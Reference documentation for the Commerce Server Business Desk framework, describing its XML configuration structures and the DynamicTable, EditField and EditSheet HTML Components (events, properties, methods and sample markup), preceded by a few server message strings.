IMPORT_DTS_INIT_SERVER | Initialiazing servers with the following parameters. DWServer: %1, SQLServer: %2, DB: %3, Ctlg: %4, Sitename: %5 | 0x4B00C00EL
MBTOADMIN_ERR_OLAPDB_CREATE | DW Pup :Error craeting OLAP database, make sure the current user is a member of OLAP Administrator Group: | 0xCB00C00FL
LOGIMPORT_SUCCESS | Log Import Task :Log Import task executed successfully | 0x4B00C010L
IPRES_SUCCESS | Ip Resolution Task :Ip Resolution Task executed successfully | 0x4B00C011L
DELETE_SUCCESS | Delete Task : Delete Task executed successfully | 0x4B00C012L
SYNC_SUCCESS | Sync Task : Sync Task executed successfully | 0x4B00C013L


Business Desk Reference

Commerce Server Business Desk provides a framework within which third party developers can add their own functionality. The different aspects of the framework can be categorized as follows:

  • A well-defined way in which new modules make themselves known.
  • A number of HTML Components (HTCs) that provide a standardized user interface for the display and manipulation of data.
  • A large number of constants, global variables, and utility routines that provide a common basis for module development.

This section provides detailed information about these different aspects of the Business Desk Framework, presented in a reference format.

For conceptual information about building a new Business Desk module, see Building Business Desk Modules.

For information about the cascading style sheets that control the look of Business Desk, see Style Sheet Reference.

This section contains:

  • XML Structures. Describes the Extensible Markup Language (XML) structures that are used with Business Desk for module and category configuration, and for HTC configuration. This includes links to the XML Reference section for details about these structures.
  • HTML Components. Describes the HTML Components that are used for data presentation and manipulation within Business Desk. Provides detailed information about the various properties, methods, and events associated with these HTCs, as well as links to the XML Reference topics describing the structure of their configuration information.
  • Include Files. Describes the include files that define the constants, global variables, and utility routines that constitute much of the Business Desk Framework. Explains when to include and when to not include each of these files.
  • Constants. Describes the constants defined in the various Business Desk include files. Defines which constants are available in client-side script and which constants are available in server-side script.
  • Global Variables. Describes the global variables defined in the various Business Desk include files. Defines which global variables are available in client-side script and which global variables are available in server-side script.
  • Utility Routines. Describes the routines defined in the various Business Desk include files. Defines which routines are available in client-side script and which routines are available in server-side script.
  • Debugging Business Desk. Describes debugging aids built into the HTCs and framework routines.


XML Structures

The Commerce Server Business Desk Framework and HTML Components (HTCs) make extensive use of Extensible Markup Language (XML) in specific, pre-defined structures. The following table briefly describes these structures and provides links to more detailed information in Business Desk XML Structures.

XML Structure | Description
Master Configuration File | The XML structure of the master configuration file that ties all other module configuration files together.
Module Configuration Files | The XML structure of the module configuration files that specify the details of each individual module.
HTML Component Data Representation | The XML structure in which many of the HTCs expect data to be represented. These HTCs include DynamicTable, EditField, EditSheet, ListEditor, and ListSheet.
DynamicTable Configuration | The XML structure of the configuration information for the DynamicTable HTC.
EditField Configuration | The XML structure of the configuration information for one or more EditField HTCs.
EditSheet Configuration | The XML structure of the configuration information for the EditSheet HTC.
ExpressionBuilder Configuration | The XML structure of the configuration information for the ExpressionBuilder HTC.
ListEditor Configuration | The XML structure of the configuration information for the ListEditor HTC.
ListSheet Configuration | The XML structure of the configuration information for the ListSheet HTC.
QueryBuilder Configuration | The XML structure of the configuration information for the QueryBuilder HTC.
TreeView Configuration | The XML structure of the combined data and configuration information used by the TreeView HTC.


HTML Components

The Commerce Server Business Desk Framework includes a number of HTML Components (HTCs) that are used extensively by the modules that ship with Commerce Server. These same HTCs should be used in new Business Desk modules, wherever appropriate, to preserve a consistent look-and-feel within all modules.

This section contains:

  • DynamicTable. Describes the HTC used for editing tabular data where editing is limited to the columns being displayed. Record editing is performed in a special row above the column headings.
  • EditField. Describes the HTC used for editing individual items of data of various types. This control is often embedded within other tabular controls to provide the actual editing functionality for individual cells in the table.
  • EditSheet. Describes the HTC used to bundle together other HTCs that are used to edit data.
  • ExpressionBuilder. Describes the HTC used for creating named expressions that can be used for targeting. The ExpressionBuilder HTC makes use of an embedded version of the QueryBuilder HTC.
  • ListBox.
  • ListEditor. Describes the HTC used for editing tabular data where the editing of individual records occurs in a separate table below the table containing the list. The table used for record editing may allow editing of fields other than those displayed in the list table. The ListEditor HTC makes use of an embedded version of the EditSheet and ListSheet HTCs.
  • ListSheet. Describes the read-only HTC used to display a list of records and allows selection of one or more of those records for editing. The editing itself is always performed within one of the other HTCs.
  • MenuControl. Describes the HTC used to control a context menu.
  • QueryBuilder. Describes the HTC used to build a simple query.
  • TreeView. Describes the HTC used to display an expandable tree structure that provides a mechanism for both navigation and selection.


DynamicTable

The DynamicTable HTML Component (HTC) displays a table of data where each row represents a record and each column represents a particular field from the record. Above each column in the table is an EditField HTC that allows the corresponding field of the selected record to be edited. The column that is designated as the key is displayed as the first column. The remaining columns are displayed in the order that they are specified in the configuration data.

Unlike the ListEditor HTC, the DynamicTable HTC only allows the editing of data displayed in the columns of the table. Like the ListEditor HTC, the DynamicTable HTC returns its result as an XML list document.

Data is passed to the DynamicTable HTC in the form of XML data-islands. This includes the configuration data that provides, for example, the display names for data columns. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

Note

  • You can change the height of the DynamicTable HTC by changing a setting in the customizable style sheet file Bizdesk.css. Search for the style setting ".dtTableStyle DIV.dtContainer" and change the default HEIGHT setting of "70" to a value of your choice.

This section contains:

  • OverX Feature. Describes the OverX feature supported by the DynamicTable HTC.
  • Events. Describes the events supported by the DynamicTable HTC.
  • Properties. Describes the properties supported by the DynamicTable HTC.
  • Methods. Describes the methods supported by the DynamicTable HTC.
  • Container Attributes. Describes the attributes that the DynamicTable HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the DynamicTable HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the DynamicTable HTC is instantiated in script on an Active Server Pages (ASP) page.


OverX Feature

The OverX feature of the DynamicTable HTC is primarily intended for use in the Shipping Methods module in Commerce Server Business Desk. It is a very specialized feature with severe limitations that may not make it suitable for use in other pages.

The Shipping Methods module in Business Desk uses a special row in the shipping method data table to compute the shipping charges in cases where the key value is larger than the highest set value for all rows.

For example, a shipping method that sets the shipping rate by the subtotal of the order could have the following rates:

  • $.50 for subtotals from $0 to $5.00
  • $2.00 for subtotals from $5.00 to $20.00
  • $5.00 for subtotals from $20.00 to $50.00
  • $10.00 for subtotals over $50.00

The way that the over $50.00 rate is set is by using the OverX feature of the DynamicTable HTC. The "over $50.00" row subtotal value is represented in the underlying data by "-1".

The following limitations apply to this feature:

  • All fields in the OverX row are required for the DynamicTable HTC to be valid. This is because the shipping component of the Order Processing pipeline must have data in this row to function properly.
  • The OverX row will always display as the last row in the table.
  • To achieve the correct behavior with the OverX feature, the DynamicTable HTC must be set to sort by key. This is because the keys are assumed to be in ascending order, culminating in the OverX row that represents a value for all items with a key value greater than the highest key in the table.
  • When the OverX row is displayed in the control, the key field will display as "Over X", where X is the value of the last row above it in the table (or zero if there are no other rows).
  • When the XMLList object is returned from the DynamicTable HTC, the OverX row key will always contain "-1".
  • Because the OverX row is internally represented by a value of "–1", the key value for a DynamicTable HTC using the OverX feature must consist of numeric values of zero or greater. Key fields of type date, time, text, Boolean, or select are not supported when using this feature.
  • When the OverX feature is turned on, the OverX row will be added even if it is not represented in the original data passed to the control. This is because the OverX row is required.


Events

The DynamicTable HTC supports the following events:

  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnChange

The OnChange event fires when the user clicks either the Done button or the Remove button.

The event object property window.event.XMLList is a standard XMLList object hierarchy, including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

The event object property window.event.XMLRecord is a standard XMLRecord object that contains a copy of the changed record. For more information, see XMLList and XMLRecord Properties.

When the OverX feature is used, the OverX record key will have the value '-1'. For more information about the OverX feature, see OverX Feature.

Return to top

OnError

The OnError event fires when the HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever the list changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if the required attribute of the global element in the configuration data for the HTC is set to "Yes" and there are no rows in the table display. Otherwise it is set to False.

If the OverX feature is used, the table is required even if there are rows in the table as long as the OverX row is not completely filled in. For more information about the OverX feature, see OverX Feature.

Return to top

OnValid

The OnValid event fires whenever the user starts editing a row and again when editing is complete.

The event object property window.event.valid is set to False when the event is fired because a row is being edited. When editing is complete (when either the Cancel or Accept button is clicked), the value will be True.

This assures that the HTC cannot be saved when the user is in the middle of an edit.

Return to top


Properties

The DynamicTable HTC supports the following properties:

  • dirty
  • required
  • XMLList

dirty

The dirty property returns True if a row has been added, removed, or edited, and False otherwise.

This property is read-only.

Return to top

required

The required property returns True if the HTC is marked as required and currently has no rows in the table display, and False otherwise.

If using the OverX feature, the required property is False even when there are rows in the table display as long as the OverX row is not completely filled in. For more information about the OverX feature, see OverX Feature.

This property is read-only.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC, and including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The DynamicTable HTC supports the following methods:

  • cleanup
  • field

cleanup

The cleanup method removes all records marked as deleted, as indicated by the state attribute, and clears the state attribute for all remaining records.

Example: elDynamicTable.cleanup

Return to top

field(sFieldId)

The field method retrieves a particular EditField HTC embedded within the DynamicTable HTC. The EditField HTC is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached EditField HTC. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the EditField HTC.

Example: set elEditField = elDynamicTable.field(sFieldId)

Return to top


Container Attributes

In order to pass data to the DynamicTable HTC, the following attributes must be set on the element that is using the DynamicTable behavior (note that this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the DynamicTable HTC.


Configuration Data

The DynamicTable HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, the name to use in the column heading, and the element name used for the corresponding data in the DataXML data-island. In addition, there is some global configuration information, such as whether the New and Remove operations should be available.

For detailed information about the structure of this XML data-island, see DynamicTable Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a DynamicTable HTC within a DIV element. The Class attribute specifies that the DynamicTable HTC behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the DynamicTable HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands, respectively, that are defined elsewhere within the document. The Language attribute specifies that the DynamicTable HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the DynamicTable HTC.

Finally, temporary text is provided to inform the user that the DynamicTable HTC is loading.

  <DIV Id='myDynamicTable'
       Class='DynamicTable'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnValid='ValidHandler()'
  >Loading DynamicTable, please wait...</DIV>


EditField

The EditField HTML Component (HTC) provides a mechanism for editing simple data types. It provides validation of input according to supplied limits. EditField HTCs are used in a variety of circumstances: embedded within the DynamicTable, EditSheet, and ListEditor HTCs, or by themselves on a page. Validation of input is built into the control.

Data is passed to the EditField HTC in the form of XML data-islands. This includes the configuration data that provides, for example, minimum and maximum values for input validation. It also includes the data itself, contained in a different XML data-island. Configuration data varies slightly from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

This section contains:

  • Data Types. Describes the different data types, and thus different controls, supported by the EditField HTC.
  • Events. Describes the events supported by the EditField HTC.
  • Properties. Describes the properties supported by the EditField HTC.
  • Methods. Describes the methods supported by the EditField HTC.
  • Container Attributes. Describes the attributes that the EditField HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the EditField HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the EditField HTC is instantiated in script on an Active Server Pages (ASP) page.


Data Types

The EditField HTC presents a different user interface for editing data based on the specified type of the data. The basic type of the data is specified by the name of the element specifying the configuration information for that data. Some of the basic types also have subtypes.

The EditField HTC supports the following data/control types (and sub-types):

  • boolean
  • date
  • numeric (currency)
  • numeric (float)
  • numeric (integer)
  • select
  • text (long)
  • text (password)
  • text (short)
  • time

boolean

A box containing a check box on the left side, followed by a label indicating some condition that is True when the check box is checked and False when the check box is unchecked. Unlike the HTML check box control, which only returns a value when checked, this control always returns a 1 (one) when checked or a 0 (zero) when unchecked.

Return to top

date

A box containing a date in one of several pre-defined, configurable formats. It might also contain a prompt to enter a date. At the right end of the box is a drop-down arrow, which when pressed reveals a calendar control for picking a date. Minimum and maximum dates can be specified for use in validation checking.

Return to top

numeric (currency)

A box containing a currency value or a prompt to enter a currency value. Currency values can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum currency values can be specified for use in validation checking.

Return to top

numeric (float)

A box containing a decimal number or a prompt to enter a number. Decimal numbers can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum decimal numbers can be specified for use in validation checking.

Return to top

numeric (integer)

A box containing a whole number or a prompt to enter a number. Whole numbers can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum whole numbers can be specified for use in validation checking.

Return to top

select

A box allowing one of a number of distinct choices or containing a prompt to make a selection. At the right end of the box is a drop-down arrow, which when pressed reveals a drop-down list containing the available choices. Unlike the normal HTML select control, this control is not windowed and so can be drawn over using Dynamic Hypertext Markup Language (DHTML).

When the data does not specify an item in the list of choices, a prompt is displayed.

Return to top

text (long)

A four line, scrollable text box that allows carriage returns to be entered. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing long text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

text (password)

A single line text box that does not allow carriage returns to be entered. Entered characters are displayed in the box as the asterisk ('*') so that the password remains hidden. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing password text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

text (short)

A single line text box that does not allow carriage returns to be entered. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing short text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

time

A box containing a time of day expressed in the 24-hour format HH:MM. It may also contain a prompt to enter a time. Minimum and maximum times can be specified for use in validation checking.

Return to top


Events

The EditField HTC supports the following events:

  • OnBeginChange
  • OnBrowse
  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnBeginChange

The OnBeginChange event fires immediately whenever the value in the EditField HTC changes, such as with each change made using the keyboard. It does not wait for the EditField HTC to lose focus before firing. This event does not fire when the EditField HTC is disabled.

Return to top

OnBrowse

The OnBrowse event fires when the Browse button to the right of the input box is clicked. The Browse button will only be enabled and visible if browsing has been enabled by setting one of the two attributes onbrowse or browse.

The event object property window.event.value contains the current value of the EditField HTC.

Though any of the EditField types may be configured to have a Browse button and whatever custom browse functionality is appropriate, it is far more common to associate Browse buttons with some EditField types than with others. For example, a Boolean field is unlikely to need a Browse button.

Return to top

OnChange

The OnChange event fires whenever the EditField HTC loses focus and the value it contains has changed. This event does not fire when the EditField HTC is disabled.

Return to top

OnError

The OnError event fires when the EditField HTC encounters a developer error condition. In addition, if the m_bDebug variable in the EditField HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever the EditField HTC changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if the EditField HTC is configured as required and is empty. Otherwise it is set to False. This event does not fire when the EditField HTC is hidden by setting the display style property to "none".

The Required property of a disabled EditField HTC is automatically set to True, even if it is empty.

EditField HTCs of type select and boolean do not fire the onRequire event and the required property is always False. The select type can be invalid (current value does not match any choices in the list of options) or valid.

Return to top

OnValid

The OnValid event fires whenever the EditField HTC changes from valid to not valid, or from not valid to valid.

The event object property window.event.valid is set to True if the value in the EditField HTC is valid. Otherwise it is set to False. This event does not fire when the EditField HTC is hidden by setting the display style property to "none".

EditField HTCs of type boolean do not fire the onValid event and the valid property is always True.

Return to top


Properties

The EditField HTC supports the following properties:

  • dirty
  • disabled
  • displayvalue
  • options
  • prompt
  • readonly
  • required
  • selected
  • valid
  • value

dirty

The dirty property tracks whether the value in the EditField HTC has changed. Legal values are True and False. A value of True indicates that the value of the EditField HTC has changed, and False indicates that the value of the EditField HTC has not changed.

This property is read-only.

Return to top

disabled

The disabled property tracks whether the EditField HTC has been disabled. Legal values are True and False. A value of True indicates that the EditField HTC has been disabled, and False indicates that the EditField HTC has not been disabled.

Disabled controls are dimmed, including both text entry and button portions of the control, if present, and input is not accepted.

This property is read/write.

Return to top

displayvalue

The displayvalue property, which should only be accessed when the type of the EditField HTC is select, contains the display name for the current value.

This property is read-only.

Return to top

options

The options property, which should only be accessed when the type of the EditField HTC is select, contains the collection of option elements (HTML Div elements) for use in iterative loops.

This property is read-only.

Return to top

prompt

The prompt property is used to set and retrieve the prompt that is displayed when the EditField HTC has no value.

Note that EditField HTCs of the select type will only display the prompt when the current value is not associated with any of the select options.

By default, the prompt property has a distinct default value for each of the EditField types. If no prompt is needed, set the prompt property to an empty string.

This property is read/write.

Return to top

readonly

The readonly property tracks whether the EditField HTC has been set to read-only. Legal values are True and False. A value of True indicates that the EditField HTC has been set to read-only, and False indicates that the EditField HTC has not been set to read-only.

The background color for read-only controls is gray, and the button portion of the control, if present, is removed.

This property is read/write.

Return to top

required

The required property tracks whether the EditField HTC requires user input. Requiring input is defined as being configured as required, but having no current value. Legal values are True and False. A value of True indicates that user input is required, and False indicates that user input is not required.

Required controls with an empty value have a yellow background color.

The OnRequire event fires whenever the value of this property changes. When the disabled property is set to True, the required property is automatically set to False and the onRequire event is fired.

The required property is always False for EditField HTCs of type select and boolean.

This property is read-only.

Return to top

selected

The selected property, which should only be accessed when the type of the EditField HTC is select, returns the option element (HTML Div element) currently selected in the list of options.

This property is read-only.

Return to top

valid

The valid property tracks whether the current value in the EditField is valid according to constraints imposed by the configuration information. Legal values are True and False. A value of True indicates that the current value is valid, and False indicates that the current value is not valid.

Controls with a value that is not valid have a yellow background color after the control loses focus.

The OnValid event fires whenever the value of this property changes.

The valid property is always True for EditField HTCs of type boolean.

This property is read-only.

Return to top

value

The value property contains the value currently in the EditField, if any.

The OnChange event fires whenever the value of this property changes and the EditField HTC loses focus.

This property is read/write.

Return to top


Methods

The EditField HTC supports the following methods:

  • addItem
  • focus
  • reload
  • removeItem
  • resetDefault

addItem(sValue, sDisplayValue)

The addItem method is used to add a new option to a select drop-down list. This method should not be called unless the control type is set to select.

The required parameter sValue specifies the underlying value for the new item. The required parameter sDisplayValue specifies the display value for the new item.

This method has no return value.

Return to top

focus

The focus method sets focus to the EditField HTC and selects the contents, assuming the control is not disabled. When the EditField is of the select type, the drop-down button gets the focus and the box contents are not selected.

Similar behavior occurs when an EditField HTC is configured with the browsereadonly attribute set to "Yes" — the Browse button is given the focus and the box contents are not selected.

This method does not take any parameters and does not return any value.

Return to top

reload(sDataID)

The reload method is used to reload a different set of enumerated values in a select drop-down list. This method should not be called unless the control type is set to select.

The parameter sDataID specifies a field in the data-island specified by the MetaXML container attribute from which the new set of enumerated values should be retrieved.

This method has no return value.

Return to top

removeItem(sValue)

The removeItem method is used to remove an option from a select drop-down list. This method should not be called unless the control type is set to select.

The required parameter sValue specifies the underlying value for the item to remove.

This method has no return value.

Return to top

resetDefault

The resetDefault method is used to reset the control value to the default.

This method has no return value.

Return to top


Container Attributes

In order to pass data to the EditField , the following attributes must be set on the element that is using the EditField behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed. The EditField HTC will always access and display the value of the field in the first record in the DataXML data-island.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the EditField HTC.
ID
The value of this attribute should be set to the value of the id attribute of one of the child elements of the fields element within the MetaXML data-island that corresponds to this instance of the EditField HTC.

The child element is from the set boolean, date, numeric, select, text, and time. It is the type of the element that establishes the type of the EditField HTC.

The value of the ID attribute will also be the same as the name of the element containing the corresponding data in the first record of the DataXML data-island.


Configuration Data

The EditField HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

The configuration XML data-island can contain configuration information for multiple EditFields, using the ID container attribute to identify which individual EditField configuration information should be used for each instance of an EditField HTC.

For detailed information about the structure of this XML data-island, see EditField Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of an EditField HTC within a DIV element. The Class attribute specifies that the EditField behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the EditField HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data data-islands, respectively, that are defined elsewhere within the document. The ID attribute specifies the same value as assigned to the id attribute of a particular child element of the fields element within the MetaXML data-island. This ID attribute is also the same string used for the name of the element containing the corresponding data value in the DataXML data-island. The Language attribute specifies that the EditField HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the EditField HTC. The OnBrowse event handler should only be defined if the EditField HTC is configured to include a Browse button.

Finally, temporary text is provided to inform the user that the EditField HTC is loading.

  <DIV Id='myEditField'
       Class='EditField'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       ID='FieldIdInMetaXML'
       OnBeginChange='BeginChangeHandler()'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnBrowse='BrowseHandler()'
       OnValid='ValidHandler()'
  >Loading EditField, please wait...</DIV>


EditSheet

The EditSheet HTML component (HTC) provides the bulk of the functionality required on an edit page. It can display an editable form in a pre-formatted table, with fields displayed according to their order in the configuration data. The editable form can also be displayed according to a template of free-form Dynamic Hypertext Markup Language (DHTML). The EditSheet HTC also enables sophisticated control of each field.

Data is passed to the EditSheet HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for data fields. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the EditSheet HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

In the EditSheet HTC, a single record is manipulated, displayed as one field per row in a pre-formatted table, or freely formatted when using a template.

This section contains:

  • Events. Describes the events supported by the EditSheet HTC.
  • Properties. Describes the properties supported by the EditSheet HTC.
  • Methods. Describes the methods supported by the EditSheet HTC.
  • Container Attributes. Describes the attributes that the EditSheet HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the EditSheet HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the EditSheet HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The EditSheet HTC supports the following events:

  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnChange

The OnChange event fires whenever the value in an embedded field changes.

Return to top

OnError

The OnError event fires when the EditSheet HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever an embedded field changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if any embedded field is marked as required and has no value. Otherwise it is set to False.

Return to top

OnValid

The OnValid event fires whenever an embedded field changes from valid to not valid, or from not valid to valid.

The event object property window.event.valid is set to False if the value in any embedded EditField HTC is not valid. Otherwise it is set to True.

Return to top


Properties

The EditSheet HTC supports the following properties:

  • dirty
  • required
  • valid

dirty

The dirty property tracks whether the value in any embedded field has changed. Legal values are True and False. A value of True indicates that the value of some embedded field has changed, and False indicates that none of the values in the embedded fields have changed.

This property is read-only.

Return to top

required

The required property tracks whether any embedded field requires user input. Requiring input is defined as being configured as required, but having no current value. Legal values are True and False. A value of True indicates that user input is required, and False indicates that user input is not required.

The OnRequire event fires whenever the value of this property changes.

This property is read-only.

Return to top

valid

The valid property tracks whether the current values in all embedded fields are valid according to constraints imposed by the configuration information. Legal values are True and False. A value of False indicates that at least one current value is not valid, and True indicates that all current values are valid.

The OnValid event fires whenever the value of this property changes.

This property is read-only.

Return to top


Methods

The EditSheet HTC supports the following methods:

  • field
  • focus
  • hidden
  • hide
  • resetDefault
  • resetDirty
  • show

field(sFieldId)

The field method retrieves a particular field element embedded within the EditSheet HTC. The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached field element. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the field element.

Example: set elEditField = elEditSheet.field(sFieldId)

Return to top

focus

The focus method sets focus to the EditSheet HTC, assuming it is not disabled.

This method does not have parameters or a return value.

Return to top

hidden(sFieldId)

The hidden method returns True if the specified field is hidden and False if not.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot report whether or not a field within a template is hidden.

Return to top

hide(sFieldId)

The hide method hides the label and control for a field within the standard table layout.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot hide a field within a template. Hidden fields will not fire onRequire or onValid events when their values are changed programmatically.

This method has no return value.

Return to top

resetDefault

The resetDefault method sets all fields in the EditSheet HTC back to their default values. This method also resets the dirty property to False.

This method does not have parameters or a return value.

Return to top

resetDirty

The resetDirty method resets the dirty property to False.

This method does not have parameters or a return value.

Return to top

show(sFieldId)

The show method shows the label and control for a hidden field within the standard table layout.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot show a field within a template.

This method has no return value.

Return to top


Container Attributes

In order to pass data to the EditSheet HTC, the following attributes must be set on the element that is using the EditSheet behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the EditSheet HTC.


Configuration Data

The EditSheet HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists primarily of details about each editable field to be displayed. For example, the type of the data in the field, the name to use as the field label, and the element name used for the corresponding data in the DataXML data-island. In addition, there is some global configuration information, such as whether the EditSheet should be initially displayed as opened or closed.

The configuration XML data-island is also known as the MetaXML data-island.

For detailed information about the structure of this XML data-island, see EditSheet Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following code shows a typical instantiation of an EditSheet HTC within a DIV element. The Class attribute specifies that the EditSheet behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the EditSheet HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and metadata data-islands that are defined elsewhere within the document. The Language attribute specifies that the EditSheet HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the EditSheet HTC.

Finally, temporary text is provided to inform the user that the EditSheet HTC is loading.

  <DIV Id='myEditSheet'
       Class='EditSheet'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnValid='ValidHandler()'
  >Loading EditSheet, please wait...</DIV>


ExpressionBuilder

The ExpressionBuilder HTML component (HTC) provides users with an easy and intuitive manner in which to build expressions used for targeting. These expressions are given names and are saved in an Extensible Markup Language (XML) representation in the Expression Store. The ExpressionBuilder HTC makes use of the QueryBuilder HTC for the manipulation of the expression bodies.

This section contains:

  • Events. Describes the events supported by the ExpressionBuilder HTC.
  • Properties. Describes the properties supported by the ExpressionBuilder HTC.
  • Methods. Describes the methods supported by the ExpressionBuilder HTC.
  • Container Attributes. Describes the attributes that the ExpressionBuilder HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ExpressionBuilder HTC via the ID used as the value of the XMLCfgID container attribute.
  • Instantiation Example. Demonstrates how the ExpressionBuilder HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ExpressionBuilder HTC supports the following events:

  • OnComplete
  • OnError
  • OnReady

OnComplete

The OnComplete event fires when the ExpressionBuilder HTC has successfully terminated. This can happen when the user presses the Save button or the Cancel button and the associated processing does not encounter any errors.

Return to top

OnError

The OnError event fires when activation of the ExpressionBuilder HTC fails. This event can occur after returning from a successful call to the Activate method. This indicates the occurrence of an unexpected error later in the activation process.

Return to top

OnReady

The OnReady event fires when the ExpressionBuilder HTC is fully loaded and initialized, indicating that its programmatic interface is ready to use. No methods or properties of the ExpressionBuilder HTC should be used before this event fires.

